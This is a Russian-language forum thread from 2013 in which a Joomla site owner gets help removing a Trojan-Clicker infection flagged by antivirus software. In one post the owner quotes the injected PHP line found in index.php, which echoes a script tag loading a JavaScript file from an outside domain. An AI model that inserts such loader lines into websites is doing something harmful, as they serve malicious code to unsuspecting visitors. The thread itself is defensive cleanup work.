На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть? - Forum 3Dnews Tech
Вернуться   Forum 3Dnews Tech > Софт > Программное обеспечение > Информационная безопасность, защита от вирусов
Вход через: 

Ответ Создать новую тему
 
Опции темы Опции просмотра
Старый 29.01.2013, 22:27   [включить плавающее окно]   Вверх   #1
And1_Shocker
Мужской Запрещенный
Автор темы
 
Аватар для And1_Shocker
 
Регистрация: 06.09.2008
Адрес: Орел
На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть?

При заходе на http://sphinxdahab.com/ каспер блокирует сайт:

Двиг Joomla.
Скачал полностью весь сайт вместе с БД на комп, проверил Каспером, он ничего не нашел.
Где искать заразу и как с ней бороться? Спасибо!
And1_Shocker вне форума  
Ответить с цитированием
Старый 29.01.2013, 23:39   [включить плавающее окно]   Вверх   #2
zl0dey4eg
Мужской Абсолютный
 
Аватар для zl0dey4eg
 
Регистрация: 24.12.2012
Адрес: Москва
заразу искать в скриптах.
касперский и не найдет ничего, так как на сайте только ссылки на загрузку вредоносных модулей
бороться - просто, залить бекап на сервер
(но его конечно же нет)
zl0dey4eg вне форума  
Конфигурация ПК
Ответить с цитированием
Старый 30.01.2013, 10:00   [включить плавающее окно]   Вверх   #3
And1_Shocker
Мужской Запрещенный
Автор темы
 
Аватар для And1_Shocker
 
Регистрация: 06.09.2008
Адрес: Орел
в index.php нашел и удалил:
echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>';
sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил.
Каспер открывает сайт, но проблема еще осталась:
http://sitecheck.sucuri.net/scanner/...phinxdahab.com
Где его искать?
And1_Shocker вне форума  
Ответить с цитированием
Старый 30.01.2013, 13:29   [включить плавающее окно]   Вверх   #4
vot
Мужской Запрещенный
 
Регистрация: 15.01.2013
Адрес: Москва
Так сканирование тебе прямо указывает места расположения ссылки на загрузчик.
Детальную информацию по пути смотри в строке
Malware found in the URL
vot вне форума  
Конфигурация ПК
Ответить с цитированием
Старый 30.01.2013, 16:19   [включить плавающее окно]   Вверх   #5
And1_Shocker
Мужской Запрещенный
Автор темы
 
Аватар для And1_Shocker
 
Регистрация: 06.09.2008
Адрес: Орел
http://sitecheck.sucuri.net/scanner/...phinxdahab.com
Проблема решена. Если кому не трудно, зайдите пожалуйста на сайт, что скажет Ваш антивирус? Спасибо всем за помощь! С уважением.
And1_Shocker вне форума  
Ответить с цитированием
Старый 30.01.2013, 20:11   [включить плавающее окно]   Вверх   #6
vot
Мужской Запрещенный
 
Регистрация: 15.01.2013
Адрес: Москва
Таки проблема ваша не решена и решена не будет
web site: sphinxdahab.com/
status: Site infected with malware
web trust: Not Blacklisted
Не вы же сами хостите данный ресурс?
vot вне форума  
Конфигурация ПК
Ответить с цитированием
Старый 31.01.2013, 10:11   [включить плавающее окно]   Вверх   #7
And1_Shocker
Мужской Запрещенный
Автор темы
 
Аватар для And1_Shocker
 
Регистрация: 06.09.2008
Адрес: Орел
Всем спасибо. Общими усилиями зараза побеждена. Очень признателен за помощь и поддержку.
And1_Shocker вне форума  
Ответить с цитированием
Ответ Создать новую тему


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 21:46. Часовой пояс GMT +3.


Powered by vBulletin® Version 3.8.4 Patch Level 5
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd. Перевод: zCarot